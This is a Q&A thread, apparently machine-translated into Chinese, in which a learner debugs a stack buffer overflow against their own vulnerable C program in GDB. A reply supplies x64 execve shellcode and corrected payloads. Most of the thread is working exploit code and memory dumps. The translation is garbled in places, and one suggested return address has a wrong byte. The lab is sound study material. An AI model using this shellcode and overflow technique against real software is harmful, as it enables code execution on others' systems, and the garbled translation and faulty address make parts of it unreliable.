我正在尝试利用缓冲区溢出,我做错了什么吗?

I'm trying to exploit a bufferoverflow, am I doing something wrong?

我正在尝试使用本教程执行缓冲区溢出攻击 我的 post 中的所有内容都将直接在 GDB 中执行。

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

这是我想利用缓冲区溢出的代码。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int     main(int argc, char *argv[])
{
  char  buff[256];

  if (argc == 1)
    {
      printf("Usage: %s input\n", argv[0]);
      exit (0);
    }
  strcpy(buff, argv[1]);
  printf("%s\n", buff);
  return (1);
}

我目前正在开发 Linux mint 18,我有一个 64 位处理器。 鉴于我有一个 64 位架构。每个地址都占 8 个字节。 现在让我们想象一下我当前的 stakframe。


|浅黄色[256] |


| RBP |


|保存 RIP |


我的目标是用我的 "nop sled" 的地址覆盖 "SAVE RIP"。 鉴于我在 64 位架构上。我将用 256 + 8 个字符填充变量 buff。 8 字符将用于覆盖 RBP 指针。我要用 perl 覆盖。

perl -e 'print "\x90" x 264'

然后使用我遵循的教程中提供的shell代码

perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

我减去了 26,因为 shell代码的长度是 26。

现在。我将使用 GDB 找出我的 nop sled 的地址。

   0x00000000004005f6 <+0>: push   rbp
   0x00000000004005f7 <+1>: mov    rbp,rsp
   0x00000000004005fa <+4>: sub    rsp,0x110
   0x0000000000400601 <+11>:    mov    DWORD PTR [rbp-0x104],edi
   0x0000000000400607 <+17>:    mov    QWORD PTR [rbp-0x110],rsi
   0x000000000040060e <+24>:    cmp    DWORD PTR [rbp-0x104],0x1
   0x0000000000400615 <+31>:    jne    0x40063d <main+71>
   0x0000000000400617 <+33>:    mov    rax,QWORD PTR [rbp-0x110]
   0x000000000040061e <+40>:    mov    rax,QWORD PTR [rax]
   0x0000000000400621 <+43>:    mov    rsi,rax
   0x0000000000400624 <+46>:    mov    edi,0x400704
   0x0000000000400629 <+51>:    mov    eax,0x0
   0x000000000040062e <+56>:    call   0x4004c0 <printf@plt>
   0x0000000000400633 <+61>:    mov    edi,0x0
   0x0000000000400638 <+66>:    call   0x4004e0 <exit@plt>
   0x000000000040063d <+71>:    mov    rax,QWORD PTR [rbp-0x110]
   0x0000000000400644 <+78>:    add    rax,0x8
   0x0000000000400648 <+82>:    mov    rdx,QWORD PTR [rax]
   0x000000000040064b <+85>:    lea    rax,[rbp-0x100]
   0x0000000000400652 <+92>:    mov    rsi,rdx
   0x0000000000400655 <+95>:    mov    rdi,rax
   0x0000000000400658 <+98>:    call   0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>:   lea    rax,[rbp-0x100]
   0x0000000000400664 <+110>:   mov    rdi,rax
   0x0000000000400667 <+113>:   call   0x4004b0 <puts@plt>
   0x000000000040066c <+118>:   mov    eax,0x1
   0x0000000000400671 <+123>:   leave  
   0x0000000000400672 <+124>:   ret    

我在strcpy函数后面加了一个断点。我正在尝试使用

找出 sled nop 的开始
x/x $rsp

给我看

0x7fffffffde20: 0xffffe018

那我就去做

x/s 0x7fffffffde20

然后按 'Enter' 直到找到我要找的东西。

现在,第二个问题来了。我发现两个不同的地址似乎包含 nop sled

0x7fffffffde30: '0' <repeats 200 times>...
(gdb) 
0x7fffffffdef8: '0' <repeats 39 times>, "10Phn/shh//bi13P12S110\v̀"

0x7fffffffe32d: '0' <repeats 200 times>...
(gdb) 
0x7fffffffe3f5: '0' <repeats 39 times>, "10Phn/shh//bi13P12S110\v̀"

不知道该选哪个,我决定两个都试试。但是,假设我使用的是第一个,更准确地说是 0x7fffffffde30。 (不忘带字节序的车)。

我将尝试使用以下命令行执行我的代码:

(gdb) run  `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`

然后我验证 RIP 是否被所需地址正确覆盖。

(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
 rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
 source language c.
 Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
 Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
 Saved registers:
  rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb) 

并且我们可以看到保存的RIP已经成功的被想要的地址覆盖了。 现在的主要问题是当我按下 "Continue" 我的程序段错误时没有打开任何 shell。我完全按照教程中的解释进行操作,所以有人可以解释我吗:

-为什么当我在缓冲区中写入 263 字节时出现段错误?当我覆盖 "save RIP" 时,程序可能会出现段错误,RBP 是否相同?

-我找到了两个不同的地址,其中包含我的 nop sled,我应该选择哪个?

-最后,根据您的说法,我做错了什么或者看起来不合逻辑吗?我不知道为什么我的 exploit 会起作用,而且在互联网上找不到其他人和我有同样的问题。

谢谢

我正在用这种方式编译

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack

编辑:

感谢您的评论。我按照你告诉我的做了,但它仍然是段错误。

你好@russtone。

谢谢你的回答,我按照你说的做了,但还是报错。

`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68    0xde    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdc78: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00

===> 0x7fffffffdc80:    0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

0x7fffffffdc88: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc90: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc98: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd10: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd20: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd28: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd30: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd38: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd40: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd48: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd50: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd58: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd60: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd68: 0x90    0x90    0x90    0x48    0x31    0xff    0x57    0x57
0x7fffffffdd70: 0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62    0x69
0x7fffffffdd78: 0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef    0x08
0x7fffffffdd80: 0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f    0x05
0x7fffffffdd88: 0x90    0xdc    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

我使用这个地址时没有忘记字节顺序。

"0x7fffffffdc80"

哪个给我

"\x80\xdc\xff\xff\xff\x7f"

所以GDB中的最终命令是

(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`

然后是

continue

哪个显示器

Continuing. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�WW^ZH�//bin/shH�WT_j;X�����

Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffdd80 in ?? ()

谢谢

Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?

在您的示例中,当程序试图访问不属于它的地址 0x30deffffff7f 处的内存时,就会发生分段错误。你想用 0x7fffffffde30 而不是 0x30deffffff7f 覆盖 RIP,但你传递了错误的负载。因为您的负载中有 little-endian 架构,而不是:

... "\x7f\xff\xff\xff\xde\x30"

你需要通过:

... "\x30\xde\xff\xff\xff\x7e"

我也不确定你的地址 shellcode 是 0x7fffffffde30 因为 x/s $rsp 不是了解它的最佳方式。最好使用类似的东西:

(gdb) x/300bx $rsp
0x7fffffffd220: 0x18    0xd4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd228: 0xf6    0x77    0xde    0xf7    0x02    0x00    0x00    0x00
0x7fffffffd230: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd238: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd240: 0x90    0x90    0x90    0x90    0x48    0x31    0xff    0x57
0x7fffffffd248: 0x57    0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62
0x7fffffffd250: 0x69    0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef
0x7fffffffd258: 0x08    0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f
0x7fffffffd260: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd268: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd270: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd278: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd280: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd288: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd290: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd298: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd300: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd308: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd310: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd318: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd320: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd330: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd338: 0x40    0xd2    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd340: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd348: 0x18    0xd4    0xff    0xff

在上面的示例中,shelcode 是 "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05",它的地址可以是 0x7fffffffd240.

I found out two different address which contain my nop sled, which one have I to choose ?

您找到的第一个地址是您的缓冲区 char buff[256],第二个是 argv[1]。类 Unix 系统将 argv 放在堆栈上,因此在您的示例中选择哪个并不重要。但一般来说(对于任何 OS)你需要使用 char buff[256].

的地址

And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.

我上面已经提到的第一件事是endianness。你有小端机器所以你需要传递 \x30\xde\xff\xff\xff\x7e 而不是 \x7f\xff\xff\xff\xde\x30.

第二件事是您的 shell代码。您正在使用 x86 程序示例中的 shell 代码,但 x64 需要 shell 代码。你可以使用这样的东西:

SECTION .text
global _start
_start:
    xor rdi, rdi
    push rdi
    push rdi
    pop rsi
    pop rdx
    mov rdi, 0x68732f6e69622f2f ; hs/nib//
    shr rdi, 8 ; \x00hs/nib/
    push rdi
    push rsp
    pop rdi
    push 0x3b ; execve
    pop rax
    syscall

在字节码中将是:

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

希望这对您有所帮助。祝你好运!

更新

好的,现在你覆盖了 rip 并且根据 gdb 的输出,你成功地跳转到了正确的地址。

现在的问题是您 shell 代码太接近缓冲区边界了。

这样你就得到了图片:

然后在main函数的末尾执行命令

leave
ret

您跳转到了 addr_1rsp = addr_2 + 8(在 leave 之后,即 mov rsp, rbp; pop rbp)。但是在 shell 代码的开头,您可以在执行 $rsp = addr_2 + 8 - 16 = addr_2 - 8 之后看到 2 push 条指令。但是 addr_2 - 8 是 shell 代码的最后 8 个字节!因此,您的 shell 代码会自行覆盖,您会遇到段错误。

为避免这种情况,您可以将 shell 代码放在 buf:

中间的某个位置
(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'`